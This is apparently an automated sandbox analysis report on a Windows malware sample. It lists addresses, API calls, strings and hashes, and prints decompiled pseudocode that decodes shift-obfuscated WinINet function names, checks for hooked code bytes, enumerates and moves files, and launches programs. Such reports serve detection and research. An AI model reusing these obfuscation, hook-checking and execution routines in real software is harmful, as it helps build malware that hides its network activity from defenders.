0x004167e7
0x00000000
0x00000000
0x004167ef
0x0041680d
0x00416810
0x00416815
0x00416817
0x00000000
0x00000000
0x0041682e
0x00416833
0x00416836
0x0041683c
0x0041683c
0x0041683c
0x0041683c
0x00416843
0x00416843
0x00416843
0x0041684f
0x00416860
0x00416867
0x00416869
0x00000000
0x00000000
0x0041694e
0x00416951
0x00000000
0x00000000
0x00416957
0x0041695b
0x00416961
0x00416964
0x00417340
0x00417340
0x00417343
0x004176ec
0x004176f0
0x004176f0
0x00000000
0x00000000
0x004176f6
0x004176f8
0x00000000
0x004176f8
0x00417349
0x00417349
0x0041734a
0x0041758c
0x0041758c
0x00417590
0x00417595
0x00417598
0x0041759e
0x00000000
0x00000000
0x004175b0
0x004175c1
0x004175c6
0x004175c9
0x00000000
0x00000000
0x004175d1
0x004175d6
0x004175e7
0x004175fc
0x00417601
0x00417604
0x00000000
0x00000000
0x0041760c
0x0041760f
0x00417614
0x00417616
0x00417618
0x00417623
0x00417623
0x00417626
0x0041762f
0x00417634
0x00417636
0x0041761a
0x0041761a
0x0041761a
0x0041763d
0x0041763d
0x0041763e
0x00417655
0x00000000
0x00417640
0x00417640
0x00417640
0x00417641
0x0041764e
0x00417650
0x00417650
0x00417656
0x00417668
0x0041766e
0x00417673
0x00417676
0x00417678
0x00417688
0x0041768e
0x00417690
0x00417692
0x00417692
0x00417692
0x00417692
0x00417690
0x00417696
0x0041769a
0x004176a1
0x004176b1
0x004176b1
0x004176b1
0x004176a3
0x004176a9
0x004176a9
0x004176ba
0x004176c0
0x004176cc
0x004176d2
0x004176d7
0x004176da
0x00000000
0x004176dc
0x004176dc
0x004176e3
0x00000000
0x004176e3
0x004176da
0x00417643
0x00417644
0x00000000
0x00000000
0x0041764a
0x00000000
0x0041764a
0x0041763e
0x00417351
0x00417351
0x00417352
0x0041754a
0x0041754e
0x0041755c
0x00417563
0x00417573
0x0041757a
0x00416935
0x0041693b
0x00416940
0x00416940
0x00000000
0x00416940
0x00417565
0x00000000
0x00417565
0x00417550
0x00000000
0x00417550
0x00417359
0x0041735a
0x00000000
0x00000000
0x00417360
0x0041736b
0x0041736d
0x0041736f
0x00000000
0x00000000
0x00417381
0x00417392
0x00417397
0x0041739a
0x004173a7
0x004173b0
0x004173b3
0x004173bb
0x004173bc
0x004173bf
0x004173c2
0x004173c6
0x004173cf
0x004173d1
0x004173d3
0x0041753a
0x0041753c
0x0041753d
0x00417542
0x00000000
0x00417542
0x004173db
0x004173e1
0x004173e9
0x004173f0
0x004173f1
0x004173f7
0x004173fd
0x00417400
0x00417405
0x00417409
0x0041740d
0x00417410
0x0041750e
0x00417511
0x00417512
0x00417513
0x00417516
0x00417516
0x00417519
0x0041751e
0x0041751e
0x00417520
0x00417523
0x00000000
0x00417523
0x00417416
0x00417419
0x0041741b
0x0041741b
0x0041741e
0x00417421
0x0041742d
0x00417430
0x00417430
0x00417436
0x0041743c
0x0041743f
0x00417440
0x00417443
0x00417447
0x0041744a
0x0041744c
0x00000000
0x00000000
0x00000000
0x0041744c
0x00417423
0x00417426
0x00000000
0x00000000
0x00417428
0x0041744e
0x0041744e
0x0041744e
0x00417453
0x00417455
0x00000000
0x00000000
0x0041746d
0x0041746f
0x00000000
0x00000000
0x00417493
0x00417495
0x00000000
0x00000000
0x00417497
0x004174a5
0x004174bb
0x004174bd
0x00417509
0x00000000
0x00417509
0x004174d8
0x004174da
0x00417502
0x00417503
0x00417504
0x00000000
0x00417504
0x004174de
0x004174e2
0x004174f8
0x00000000
0x004174f8
0x0041739d
0x00000000
0x0041739d
0x0041696a
0x004172a4
0x004172a7
0x004172a9
0x00000000
0x00000000
0x004172b5
0x004172ba
0x004172cf
0x004172d4
0x004172d7
0x00000000
0x00000000
0x004172ea
0x004172f7
0x004172fd
0x004172ff
0x0041730f
0x00417301
0x00417307
0x00417307
0x00417321
0x00417327
0x0041732c
0x0041732f
0x00000000
0x00417335
0x00417335
0x00000000
0x00417335
0x0041732f
0x00416970
0x00416970
0x00416971
0x00416f75
0x00416f75
0x00416f76
0x0041721d
0x0041721f
0x00417225
0x00417228
0x0041722b
0x0041722d
0x00417287
0x0041728a
0x00417294
0x00417295
0x00417299
0x0041729c
0x00417032
0x00417032
0x00417033
0x00417033
0x00417036
0x00000000
0x00000000
0x00000000
0x00000000
0x0041722f
0x0041722f
0x0041722f
0x00417249
0x00417259
0x00417259
0x0041725a
0x00417274
0x0041725c
0x0041725c
0x0041725c
0x0041725d
0x0041726f
0x0041725f
0x0041725f
0x0041725f
0x00417260
0x0041726a
0x00417262
0x00417262
0x00417263
0x00417265
0x00417265
0x00417263
0x00417260
0x0041725d
0x0041727a
0x00417280
0x00417280
0x00417284
0x00000000
0x00417284
0x00416f7c
0x00416f7d
0x00000000
0x00000000
0x00416f83
0x00416f86
0x00416f8c
0x00000000
0x00000000
0x00416f9e
0x00416fb5
0x00416fba
0x00416fbd
0x00000000
0x00000000
0x00416fcd
0x00416fda
0x00416fe9
0x00416ff0
0x00416ff1
0x00417003
0x0041700d
0x0041700f
0x00417012
0x00417040
0x00417046
0x00417051
0x00417056
0x00417058
0x00000000
0x00000000
0x00417064
0x0041706a
0x0041706f
0x00417074
0x00417076
0x00000000
0x00000000
0x0041708a
0x004170cb
0x004170d1
0x004170da
0x004170e3
0x004170e4
0x004170e9
0x004170eb
0x0041770a
0x0041770a
0x00000000
0x0041770a
0x004170fe
0x00417103
0x00417105
0x00000000
0x00000000
0x00417118
0x0041711d
0x0041711f
0x00000000
0x00000000
0x00417125
0x00417130
0x0041713d
0x00417142
0x00417144
0x00000000
0x00000000
0x0041714a
0x0041714d
0x00417155
0x0041715b
0x0041715b
0x00417164
0x0041716d
0x0041716f
0x00417175
0x00417178
0x0041717d
0x00417181
0x00417184
0x00417186
0x00417028
0x0041702e
0x0041702f
0x00000000
0x0041702f
0x0041718e
0x00417193
0x00417196
0x00417198
0x00000000
0x00000000
0x0041719e
0x004171a7
0x004171aa
0x004171ab
0x004171b0
0x004171b2
0x00417702
0x00417705
0x00000000
0x00417705
0x004171b8
0x004171c3
0x004171c8
0x004171cb
0x00000000
0x00000000
0x004171da
0x004171df
0x004171e1
0x00000000
0x00000000
0x004171f7
0x004171fc
0x004171fe
0x00000000
0x00000000
0x00417207
0x00416eb5
0x00416ebe
0x00416ec3
0x00416ec6
0x00000000
0x00000000
0x00416ecc
0x00000000
0x00416ecc
0x0041701f
0x00417020
0x00417023
0x00417026
0x00417026
0x00000000
0x00417026
0x00416978
0x00416978
0x00416979
0x00416be8
0x00416be8
0x00416be9
0x00416ed4
0x00416ed7
0x00416edd
0x00000000
0x00000000
0x00416eef
0x00416f06
0x00416f0b
0x00416f0e
0x00000000
0x00000000
0x00416f18
0x00416f1a
0x00416f25
0x00416f34
0x00416f41
0x00416f43
0x00416f53
0x00416f45
0x00416f45
0x00416f45
0x00416f5f
0x00416f60
0x00416f66
0x00416ced
0x00416ced
0x00416cee
0x00000000
0x00416cee
0x00416bef
0x00416bef
0x00416bf0
0x00416deb
0x00416dee
0x00416df4
0x00000000
0x00000000
0x00416e06
0x00416e1d
0x00416e22
0x00416e25
0x00000000
0x00000000
0x00416e31
0x00416e40
0x00416e48
0x00416e49
0x00416e57
0x00416e5e
0x00416e63
0x00416e69
0x00416e76
0x00416e82
0x00416e8b
0x00416e8c
0x00416e91
0x00416e93
0x00000000
0x00000000
0x00416ead
0x00416eaf
0x00000000
0x00000000
0x00000000
0x00416eaf
0x00416bf6
0x00416bf6
0x00416bf7
0x00416cf5
0x00416cf8
0x00416cfe
0x00000000
0x00000000
0x00416d10
0x00416d27
0x00416d2c
0x00416d2f
0x00000000
0x00000000
0x00416d39
0x00416d3d
0x00416d45
0x00416d51
0x00416d53
0x00416d55
0x00000000
0x00000000
0x00416d5b
0x00416d61
0x00416d67
0x00416d74
0x00416d87
0x00416d8e
0x00416d90
0x00416d98
0x00416d9b
0x00416d9e
0x00416d9f
0x00416db0
0x00416dbd
0x00416dbf
0x00416dd0
0x00416dc1
0x00416dc1
0x00416dc1
0x00416ddc
0x00416ddd
0x00416de0
0x00000000
0x00416de0
0x00416bfd
0x00416bfe
0x00000000
0x00000000
0x00416c04
0x00416c07
0x00416c0d
0x00000000
0x00000000
0x00416c1f
0x00416c36
0x00416c3b
0x00416c3e
0x00000000
0x00000000
0x00416c48
0x00416c4c
0x00416c54
0x00416c60
0x00416c62
0x00416c64
0x00000000
0x00000000
0x00416c6a
0x00416c70
0x00416c76
0x00416c83
0x00416c96
0x00416c9d
0x00416c9f
0x00416ca7
0x00416caa
0x00416cad
0x00416cb3
0x00416cc3
0x00416ccd
0x00416cd0
0x00416cdd
0x00416cd2
0x00416cd2
0x00416cd2
0x00416ce6
0x00416ce7
0x00416cea
0x00000000
0x00416cea
0x00416980
0x00416980
0x00416981
0x004169c2
0x004169c2
0x004169c9
0x004169ce
0x004169d1
0x004169d7
0x00000000
0x00000000
0x004169e9
0x004169fa
0x004169ff
0x00416a02
0x00000000
0x00000000
0x00416a0a
0x00416a0c
0x00416a20
0x00416a38
0x00416a3d
0x00416a40
0x00000000
0x00000000
0x00416a47
0x00416a4d
0x00416a4f
0x00416a94
0x00416a9a
0x00416aa0
0x00416aa3
0x00416aba
0x00416ac0
0x00416ac3
0x00416bb1
0x00416bb7
0x00416bb7
0x00416bba
0x00416bc0
0x00416bc6
0x00416bce
0x00416bd2
0x00416bda
0x00416bdc
0x00416a66
0x00416a6d
0x00416a74
0x00416a77
0x00000000
0x00416a77
0x00416aca
0x00416ad0
0x00416ae0
0x00416ae1
0x00416af4
0x00416b02
0x00416b08
0x00416b0a
0x00000000
0x00000000
0x00416b21
0x00416b27
0x00416b29
0x00416b3d
0x00416b77
0x00416b7d
0x00416b92
0x00416baa
0x00416baa
0x00000000
0x00416b29
0x00416aa5
0x00416aa7
0x00000000
0x00416aa7
0x00416a51
0x00416a57
0x00416a60
0x00416a62
0x00416a62
0x00416a62
0x00000000
0x00416a62
0x00416983
0x00416984
0x00000000
0x00000000
0x0041698a
0x0041698e
0x004169a1
0x004169a8
0x004169af
0x00416990
0x00416996
0x00416996
0x0041698e
0x0041686f
0x00416876
0x0041688f
0x00416896
0x00416906
0x0041690c
0x00416912
0x00416919
0x00416927
0x00416927
0x00416929
0x0041692f
0x00000000
0x0041692f
0x00416898
0x0041689f
0x00000000
0x00000000
0x004168a4
0x004168b9
0x004168bf
0x004168c1
0x004168cf
0x004168d5
0x004168d7
0x004168e5
0x004168e8
0x004168ef
0x004168f5
0x004168fb
0x00000000
0x004168fb
0x004168d9
0x004168c3
0x004168c3
0x004168c3
0x00000000
0x004168c1
0x00416878
0x0041687e
0x00416888
0x00000000
0x0041688a
0x00000000
0x0041688a
0x00416943
0x00416943
0x00416949
0x00000000
0x00416836
0x004167f1
0x00416801
0x00000000
0x00416803
0x00000000
0x00416803
0x00416801
0x00000000
0x004167bb

APIs

ReadFile.KERNEL32(?,?,00001000,?,00000000,?,00000000,?,0000000B,?,?,?,00000000,?,0000000B,?), ref: 004168B9
CloseHandle.KERNEL32(?,?,00000000,?,0000000B,?,?,?,00000000,?,0000000B,?,?,?,00000000,?), ref: 0041690C
CloseHandle.KERNEL32(?,?,00000000,?,0000000B,?,?,?,00000000,?,00000008,0000EA60,000001F4,0000000B,?,00000000), ref: 00416996
PathIsDirectoryW.SHLWAPI(0000024C), ref: 00416A47
CreateFileW.KERNEL32(0000024C,80000000,00000001,00000000,00000003,08000000,00000000), ref: 00416A94
FindFirstFileW.KERNEL32(0000024C,?), ref: 00416ABA
FindClose.KERNEL32(00000000), ref: 00416ACA
SetFilePointerEx.KERNEL32(?,?,?,?,00000000), ref: 00416B02
GetFileTime.KERNEL32(?,00000000,00000000,?), ref: 00416B21
FileTimeToSystemTime.KERNEL32(?,?), ref: 00416B3D
wsprintfW.USER32 ref: 00416B77
CloseHandle.KERNEL32(?), ref: 00416BC0
ShellExecuteW.SHELL32(00000000,00000000,?,?,00000000,00000001), ref: 00416CC7
GetLastError.KERNEL32(?,00000000,00000001,?,?,00000000,?,00000000,?,?,0000EA60,?,?,00000000,?,0000000B), ref: 00416CD7
MoveFileW.KERNEL32(?), ref: 00416DB7
GetLastError.KERNEL32(?,?,?,00000000,?,00000000,?,?,0000EA60,?,?,00000000,?,0000000B,?,?), ref: 00416DCA
PathIsDirectoryW.SHLWAPI(?), ref: 00416E40
CreateDirectoryW.KERNEL32(?,00000000,?,00000000,?,?,0000EA60,?,?,00000000,?,0000000B,?,?,?,00000000), ref: 00416F3B
GetLastError.KERNEL32 ref: 00416F4D
FindFirstFileW.KERNEL32(?,?,?,00000000,?,?,0000EA60,?,?,00000000,?,0000000B,?,?,?,00000000), ref: 00417007

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 0041708A
wsprintfW.USER32 ref: 004170CB
FindNextFileW.KERNEL32(00000000,?,?), ref: 00417155
FindClose.KERNEL32(00000000), ref: 00417164
CloseHandle.KERNEL32(?,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00417727
CloseHandle.KERNEL32(?,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0041773C

Part of subcall function 00416504: GetTickCount.KERNEL32 ref: 00416525
Part of subcall function 00416504: GetTickCount.KERNEL32 ref: 0041652F
Part of subcall function 00416504: Sleep.KERNEL32(?,00000000,?,00000001,00000000,00000000,00000000,?,00000001), ref: 00416574
Part of subcall function 00416504: GetTickCount.KERNEL32 ref: 0041657A

Strings

%s*%2.2d/%2.2d/%4.4d %2.2d:%2.2d, xrefs: 004170C5
%2.2d/%2.2d/%4.4d %2.2d:%2.2d, xrefs: 00416B71
.tmp, xrefs: 00417479

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Close$FindHandleTime$CountDirectoryErrorLastTick$CreateFirstPathSystemwsprintf$ExecuteFreeHeapMoveNextPointerReadShellSleep
String ID: %2.2d/%2.2d/%4.4d %2.2d:%2.2d$%s*%2.2d/%2.2d/%4.4d %2.2d:%2.2d$.tmp
API String ID: 3318552312-3885102861
Opcode ID: 0a375bb8daaebeebbc4cbeab5d41d05a1d3a6e0b811848e80d0adc0fd8e05e15
Instruction ID: 0792d62bc24c606a429af39bee9a8ff4b6cf689b62678a3390b70443011089ca
Opcode Fuzzy Hash: 0a375bb8daaebeebbc4cbeab5d41d05a1d3a6e0b811848e80d0adc0fd8e05e15
Instruction Fuzzy Hash: 91A2D571904218ABDF21DFA4CC84BEE77B9EF05310F0405AAE959EB291D738DE81CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00414C33, Relevance: 58.0, APIs: 22, Strings: 11, Instructions: 209
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00414C33() {
				char* _t68;
				char* _t73;
				char* _t78;
				char* _t83;
				char* _t94;
				char* _t99;
				char* _t104;
				char* _t110;
				char* _t115;
				char* _t122;
				char* _t127;
				_Unknown_base(*)()* _t129;
				void* _t139;
				void* _t141;

				_t139 = _t141 - 0x50;
				lstrcpyA(_t139 - 0x58, "HfuVsmDbdifFouszJogpX");
				_t68 = _t139 - 0x58;
				if( *(_t139 - 0x58) != 0) {
					do {
						 *_t68 =  *_t68 - 1;
						_t68 = _t68 + 1;
					} while ( *_t68 != 0);
				}
				 *0x42382c = GetProcAddress( *(_t139 + 0x58), _t139 - 0x58);
				lstrcpyA(_t139 - 0x70, "IuuqBeeSfrvftuIfbefstB");
				_t73 = _t139 - 0x70;
				if( *(_t139 - 0x70) != 0) {
					do {
						 *_t73 =  *_t73 - 1;
						_t73 = _t73 + 1;
					} while ( *_t73 != 0);
				}
				 *0x422ddc = GetProcAddress( *(_t139 + 0x58), _t139 - 0x70);
				lstrcpyA(_t139 - 0x88, "IuuqBeeSfrvftuIfbefstX");
				_t78 = _t139 - 0x88;
				if( *(_t139 - 0x88) != 0) {
					do {
						 *_t78 =  *_t78 - 1;
						_t78 = _t78 + 1;
					} while ( *_t78 != 0);
				}
				 *0x4229a8 = GetProcAddress( *(_t139 + 0x58), _t139 - 0x88);
				lstrcpyA(_t139 + 0x18, "IuuqPqfoSfrvftuB");
				_t83 = _t139 + 0x18;
				if( *(_t139 + 0x18) != 0) {
					do {
						 *_t83 =  *_t83 - 1;
						_t83 = _t83 + 1;
					} while ( *_t83 != 0);
				}
				 *0x4229bc = GetProcAddress( *(_t139 + 0x58), _t139 + 0x18);
				 *0x4237ec =  *((intOrPtr*)(_t139 + 0x7c));
				 *0x4237e4 =  *((intOrPtr*)(_t139 + 0x60));
				 *0x42299c =  *((intOrPtr*)(_t139 + 0x68));
				 *0x4237ac =  *((intOrPtr*)(_t139 + 0x64));
				 *0x4237e0 =  *((intOrPtr*)(_t139 + 0x5c));
				 *0x422dd8 =  *((intOrPtr*)(_t139 + 0x6c));
				lstrcpyA(_t139 + 0x2c, "JoufsofuDpoofduB");
				_t94 = _t139 + 0x2c;
				if( *(_t139 + 0x2c) != 0) {
					do {
						 *_t94 =  *_t94 - 1;
						_t94 = _t94 + 1;
					} while ( *_t94 != 0);
				}
				 *0x4237c4 = GetProcAddress( *(_t139 + 0x58), _t139 + 0x2c);
				lstrcpyA(_t139 + 4, "JoufsofuDsbdlVsmB");
				_t99 = _t139 + 4;
				if( *(_t139 + 4) != 0) {
					do {
						 *_t99 =  *_t99 - 1;
						_t99 = _t99 + 1;
					} while ( *_t99 != 0);
				}
				 *0x4237d4 = GetProcAddress( *(_t139 + 0x58), _t139 + 4);
				lstrcpyA(_t139 + 0x40, "JoufsofuPqfoB");
				_t104 = _t139 + 0x40;
				if( *(_t139 + 0x40) != 0) {
					do {
						 *_t104 =  *_t104 - 1;
						_t104 = _t104 + 1;
					} while ( *_t104 != 0);
				}
				 *0x423828 = GetProcAddress( *(_t139 + 0x58), _t139 + 0x40);
				 *0x4237a8 =  *((intOrPtr*)(_t139 + 0x78));
				lstrcpyA(_t139 - 0x28, "JoufsofuRvfszPqujpoB");
				_t110 = _t139 - 0x28;
				if( *(_t139 - 0x28) != 0) {
					do {
						 *_t110 =  *_t110 - 1;
						_t110 = _t110 + 1;
					} while ( *_t110 != 0);
				}
				 *0x422dd0 = GetProcAddress( *(_t139 + 0x58), _t139 - 0x28);
				lstrcpyA(_t139 - 0x40, "JoufsofuRvfszPqujpoX");
				_t115 = _t139 - 0x40;
				if( *(_t139 - 0x40) != 0) {
					do {
						 *_t115 =  *_t115 - 1;
						_t115 = _t115 + 1;
					} while ( *_t115 != 0);
				}
				 *0x42381c = GetProcAddress( *(_t139 + 0x58), _t139 - 0x40);
				 *0x4229b0 =  *((intOrPtr*)(_t139 + 0x70));
				 *0x42380c =  *((intOrPtr*)(_t139 + 0x74));
				lstrcpyA(_t139 - 0x10, "JoufsofuTfuPqujpoB");
				_t122 = _t139 - 0x10;
				if( *(_t139 - 0x10) != 0) {
					do {
						 *_t122 =  *_t122 - 1;
						_t122 = _t122 + 1;
					} while ( *_t122 != 0);
				}
				 *0x4229cc = GetProcAddress( *(_t139 + 0x58), _t139 - 0x10);
				lstrcpyA(_t139 - 0xa4, "JoufsofuTfuTubuvtDbmmcbdl");
				_t127 = _t139 - 0xa4;
				if( *(_t139 - 0xa4) != 0) {
					do {
						 *_t127 =  *_t127 - 1;
						_t127 = _t127 + 1;
					} while ( *_t127 != 0);
				}
				_t129 = GetProcAddress( *(_t139 + 0x58), _t139 - 0xa4);
				 *0x4237fc = _t129;
				return _t129;
			}

0x00414c34
0x00414c50
0x00414c54
0x00414c5a
0x00414c5c
0x00414c5c
0x00414c5e
0x00414c5f
0x00414c5c
0x00414c72
0x00414c80
0x00414c82
0x00414c88
0x00414c8a
0x00414c8a
0x00414c8c
0x00414c8d
0x00414c8a
0x00414c9a
0x00414cab
0x00414cad
0x00414cb9
0x00414cbb
0x00414cbb
0x00414cbd
0x00414cbe
0x00414cbb
0x00414cce
0x00414cdc
0x00414cde
0x00414ce4
0x00414ce6
0x00414ce6
0x00414ce8
0x00414ce9
0x00414ce6
0x00414cf6
0x00414cfe
0x00414d06
0x00414d0e
0x00414d16
0x00414d1e
0x00414d26
0x00414d34
0x00414d36
0x00414d3c
0x00414d3e
0x00414d3e
0x00414d40
0x00414d41
0x00414d3e
0x00414d4e
0x00414d5c
0x00414d5e
0x00414d64
0x00414d66
0x00414d66
0x00414d68
0x00414d69
0x00414d66
0x00414d76
0x00414d84
0x00414d86
0x00414d8c
0x00414d8e
0x00414d8e
0x00414d90
0x00414d91
0x00414d8e
0x00414d9e
0x00414da6
0x00414db4
0x00414db6
0x00414dbc
0x00414dbe
0x00414dbe
0x00414dc0
0x00414dc1
0x00414dbe
0x00414dce
0x00414ddc
0x00414dde
0x00414de4
0x00414de6
0x00414de6
0x00414de8
0x00414de9
0x00414de6
0x00414df6
0x00414dfe
0x00414e06
0x00414e14
0x00414e16
0x00414e1c
0x00414e1e
0x00414e1e
0x00414e20
0x00414e21
0x00414e1e
0x00414e2e
0x00414e3f
0x00414e41
0x00414e4d
0x00414e4f
0x00414e4f
0x00414e51
0x00414e52
0x00414e4f
0x00414e60
0x00414e64
0x00414e6e

APIs

lstrcpyA.KERNEL32(00000002,HfuVsmDbdifFouszJogpX,73BB8170,004220E8,00000000), ref: 00414C50
GetProcAddress.KERNEL32(00000002,00000002), ref: 00414C70
lstrcpyA.KERNEL32(?,IuuqBeeSfrvftuIfbefstB), ref: 00414C80
GetProcAddress.KERNEL32(00000002,?), ref: 00414C98
lstrcpyA.KERNEL32(?,IuuqBeeSfrvftuIfbefstX), ref: 00414CAB
GetProcAddress.KERNEL32(00000002,?), ref: 00414CCC
lstrcpyA.KERNEL32(?,IuuqPqfoSfrvftuB), ref: 00414CDC
GetProcAddress.KERNEL32(00000002,?), ref: 00414CF4
lstrcpyA.KERNEL32(?,JoufsofuDpoofduB), ref: 00414D34
GetProcAddress.KERNEL32(00000002,?), ref: 00414D4C
lstrcpyA.KERNEL32(?,JoufsofuDsbdlVsmB), ref: 00414D5C
GetProcAddress.KERNEL32(00000002,?), ref: 00414D74
lstrcpyA.KERNEL32(?,JoufsofuPqfoB), ref: 00414D84
GetProcAddress.KERNEL32(00000002,?), ref: 00414D9C
lstrcpyA.KERNEL32(?,JoufsofuRvfszPqujpoB), ref: 00414DB4
GetProcAddress.KERNEL32(00000002,?), ref: 00414DCC
lstrcpyA.KERNEL32(?,JoufsofuRvfszPqujpoX), ref: 00414DDC
GetProcAddress.KERNEL32(00000002,?), ref: 00414DF4
lstrcpyA.KERNEL32(?,JoufsofuTfuPqujpoB), ref: 00414E14
GetProcAddress.KERNEL32(00000002,?), ref: 00414E2C
lstrcpyA.KERNEL32(?,JoufsofuTfuTubuvtDbmmcbdl), ref: 00414E3F
GetProcAddress.KERNEL32(00000002,?), ref: 00414E60

Strings

HfuVsmDbdifFouszJogpX, xrefs: 00414C47
JoufsofuPqfoB, xrefs: 00414D7B
JoufsofuDsbdlVsmB, xrefs: 00414D53
IuuqBeeSfrvftuIfbefstX, xrefs: 00414C9F
JoufsofuRvfszPqujpoX, xrefs: 00414DD3
JoufsofuRvfszPqujpoB, xrefs: 00414DAB
IuuqBeeSfrvftuIfbefstB, xrefs: 00414C77
JoufsofuTfuTubuvtDbmmcbdl, xrefs: 00414E33
JoufsofuDpoofduB, xrefs: 00414D2B
JoufsofuTfuPqujpoB, xrefs: 00414E0B
IuuqPqfoSfrvftuB, xrefs: 00414CD3

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProclstrcpy
String ID: HfuVsmDbdifFouszJogpX$IuuqBeeSfrvftuIfbefstB$IuuqBeeSfrvftuIfbefstX$IuuqPqfoSfrvftuB$JoufsofuDpoofduB$JoufsofuDsbdlVsmB$JoufsofuPqfoB$JoufsofuRvfszPqujpoB$JoufsofuRvfszPqujpoX$JoufsofuTfuPqujpoB$JoufsofuTfuTubuvtDbmmcbdl
API String ID: 974692967-1935535372
Opcode ID: c12be3a028f6da3cd8d6399194f0a1e18e944628c71ce1c03fc8c239aa2dd558
Instruction ID: b28e5c0e22bc9aeda3db6bd45a158c175eaa8a414609566221ce9f8adb74cf76
Opcode Fuzzy Hash: c12be3a028f6da3cd8d6399194f0a1e18e944628c71ce1c03fc8c239aa2dd558
Instruction Fuzzy Hash: F7813BB194129CAEDF11DFA4DC449EA7FBCFF86300B8440A6E940D7220E7759A89DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405B5C, Relevance: 47.5, APIs: 26, Strings: 1, Instructions: 280
sleepsynchronizationshutdownCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405B5C(void* __ecx, void* __eflags, void* __fp0, intOrPtr _a4, char _a8) {
				signed int _v528;
				char _v805;
				char _v952;
				char _v960;
				char _v964;
				char _v968;
				char _v1072;
				signed char _v1076;
				char _v1172;
				char _v1176;
				short _v1184;
				short _v1188;
				short _v1196;
				char _v1200;
				short _v1204;
				void _v1205;
				void* _v1208;
				intOrPtr _v1209;
				void _v1212;
				void _v1213;
				void* _v1216;
				char _v1217;
				void* _v1220;
				char _v1221;
				void* _v1224;
				void* _v1228;
				void* _v1232;
				char _v1233;
				char _v1237;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t78;
				char _t81;
				void* _t86;
				intOrPtr* _t87;
				int _t89;
				void* _t91;
				int _t95;
				void* _t99;
				int _t107;
				int _t116;
				void* _t120;
				char _t148;
				DWORD* _t151;
				signed int _t153;
				void* _t167;
				void* _t171;
				char* _t172;
				void* _t193;

				_t193 = __fp0;
				_t155 = __ecx;
				_t169 =  &_v1188;
				_v1205 = 0;
				_t78 = E004134FA(0, __ecx,  &_v1188,  *0x422304);
				if(_t78 == 0) {
					_t151 = 0;
					__eflags = 0;
				} else {
					_v1204 = _v1184;
					_t148 = E004057D5( &_v1204, __ecx, _v1188);
					_t151 = 0;
					_v1200 = _t148;
					if(_t148 == 0) {
						_v1204 = 0;
					}
					_t78 = E004135A0( &_v1188);
				}
				if(_v1204 != 0x1e6) {
					__eflags = _v1204 - 0xc;
					if(__eflags != 0) {
						goto L49;
					}
					_t81 = E00405367(_t155, __eflags, 0x8889347b, 2);
					_v1200 = _t81;
					__eflags = _t81 - _t151;
					if(_t81 == _t151) {
						L47:
						__eflags = _a8 - 1;
						if(_a8 == 1) {
							E0040FCE7(_t169,  *0x422304);
						}
						goto L49;
					}
					E0040532C(0x19367401,  &_v1172, 1);
					_t86 = OpenMutexW(0x100000, _t151,  &_v1184);
					_t169 = GetFileAttributesExW;
					__eflags = _t86 - _t151;
					if(_t86 == _t151) {
						L31:
						_t87 =  *0x4222ac; // 0x0
						__imp__IsWellKnownSid( *_t87, 0x16);
						__eflags = _t87 - 1;
						if(__eflags != 0) {
							_v1213 = 0;
							_t89 = ReadProcessMemory(0xffffffff, _t169,  &_v1213, 1, _t151);
							__eflags = _t89;
							if(_t89 == 0) {
								L37:
								_push( *((intOrPtr*)(_v1204 + 8)));
								_t91 = E004147CD(_t155, E0041CBF9,  *_v1204);
								_t169 = 0x422308;
								_v1221 = E0041CBF9(_t91, 0x422308,  &_v964, E0041CBF9, 0x422308, _t193);
								L38:
								__eflags = _v1217 - 1;
								if(_v1217 == 1) {
									_t95 = E0040FB27( &_v960, _t151, _t169, _t151,  &_v1200);
									__eflags = _t95;
									_v1237 = _t95 != 0;
									__eflags = _v1237;
									if(_v1237 != 0) {
										E0040532C(0x1a43533f,  &_v1184, 1);
										_t99 = CreateEventW(0x4222e0, 1, _t151,  &_v1196);
										_t169 = _v1212;
										_v1228 = _t99;
										_v1224 = _t169;
										_push(0xffffffff);
										__eflags = _t99 - _t151;
										if(_t99 != _t151) {
											WaitForMultipleObjects(2,  &_v1216, _t151, ??);
										} else {
											WaitForSingleObject(_t169, ??);
										}
										__eflags = _v1216 - _t151;
										if(_v1216 != _t151) {
											CloseHandle(_v1216);
										}
										CloseHandle(_v1196);
										CloseHandle(_t169);
									}
								}
								L46:
								E00411B13(_v1204);
								goto L47;
							}
							__eflags = _v1213 - 0xe9;
							if(_v1213 != 0xe9) {
								goto L37;
							}
							_t107 = GetFileAttributesExW(0x422716, 0x78f16360,  &_v1212);
							__eflags = _t107 - 1;
							if(_t107 != 1) {
								goto L37;
							}
							_push( *((intOrPtr*)(_v1208 + 8)));
							E004147CD(_t155, L0041CF72,  *((intOrPtr*)(_v1208 + 4)));
							_push(_a4);
							_t169 = 0x422308;
							_push( &_v968);
							_v1233 = L0041CF72( &_v968, _t151, _v1224, 0x422308, L0041CF72, 0x422308);
							VirtualFree(_v1232, _t151, 0x8000);
							goto L38;
						}
						_v1213 = E0041D2D2(__eflags);
						goto L46;
					}
					CloseHandle(_t86);
					while(1) {
						_v1205 = 0;
						_t116 = ReadProcessMemory(0xffffffff, _t169,  &_v1205, 1, _t151);
						__eflags = _t116;
						if(_t116 == 0) {
							goto L30;
						}
						__eflags = _v1205 - 0xe9;
						if(_v1205 == 0xe9) {
							goto L31;
						}
						L30:
						Sleep(0xfa);
